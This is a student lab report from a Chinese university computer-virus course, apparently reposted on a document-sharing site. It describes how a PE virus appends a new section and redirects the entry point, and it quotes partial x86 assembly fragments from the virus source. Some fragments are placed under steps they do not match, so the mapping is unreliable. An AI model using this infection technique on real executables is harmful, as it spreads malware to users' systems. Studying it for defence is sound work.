东华大学计算机病毒PE病毒实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

计算机病毒实验报告

姓名:

学号:

老师:

日期:

一.PE文件感染实验

一:参照病毒感染PE文件的7个步骤,记录病毒是如何感染文件(文字和截屏形式)

病毒感染文件过程(以感染文件KeyMaker.exe 为例):

重定位,获得所有API地址:

通过软件Stud_PE可查看可执行文件KeyMaker.exe的结构可查看文件内容:1.判断目标文件开始的两个字节是否为“MZ”:

2.判断PE文件标记“PE”:

3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续:

4.读取IMAGE_FILE_HEADER的NumberOfSections域,获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节):

5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)。

6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)

节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。

7.开始写入节表,感染文件:

二:在掌握Stud_PE工具的基础上,比较文件感染前后有哪些变化。感染前:

感染后:

由上两图可以看出,感染前后有4处发生了变化:

1:PE文件头中入口点:

感染病毒后KeyMaker.exe程序的入口点变成了病毒文件的入口点。2:PointerToRawData域值,即该文件的偏移量发生了变化;

3:imag的大小发生了变化;

4:Number of sections的数量发生了变化。

由.exe文件感染前后变化可知,PE病毒感染过程即在文件中添加一个新节,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。

程序染毒后运行结果:

1:首先执行病毒程序:

2:病毒代码执行完后执行宿主程序:

三:针对病毒源代码,指出与感染PE文件步骤相对应的程序段

1.判断目标文件开始的两个字节是否为“MZ”。

lea eax,[ebx+offset szMsg1]

push eax

call SingleTest

2.判断PE文件标记“PE”。

cmp word ptr [edi],IMAGE_DOS_SIGNATURE

jne PageError

mov esi,edi

add esi,[esi+003ch]

cmp word ptr [esi],IMAGE_NT_SIGNATURE

jne PageError

mov dwReturn,edi

jmp @f

3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续。

mov ecx,[esi+74h] ;

imul ecx,ecx,8

lea eax,[ecx+esi+78h]

movzx ecx,word ptr[esi+6h]

imul ecx,ecx,28h

add eax,ecx

sub eax,28h

cmp dword ptr[eax],'SI'

je @f

4.获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节)。

pop esi

add ebx,4

inc edx

cmp edx,[esi].NumberOfNames

jl @b

jmp Error

5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)

mov esi,hModule

add esi,[esi + 3ch]

assume esi:ptr IMAGE_NT_HEADERS

mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress

add esi,hModule

assume esi:ptr IMAGE_EXPORT_DIRECTORY

6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)

节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。

mov [ebx+hFile],eax

push 0

push eax

call [ebx+lpGetFileSize]

cmp eax,-1

je CloseFile

mov [ebx+dwFileSize],eax

add eax,1000h

7.开始写入节表

xor eax,eax

sub edi,[ebx+lpMemory]

push eax ;FILE-BEGIN

push eax

push edi

push [ebx+hFile]

call [ebx+lpSetFilePointer]

push [ebx+hFile]

call [ebx+lpSetEndOfFile] 附实验三观察某可执行文件结果截图:

Imports:

Exports:

Dump:

Headers:

SectnTbl:

DebugDir:

Resources:

相关文档
最新文档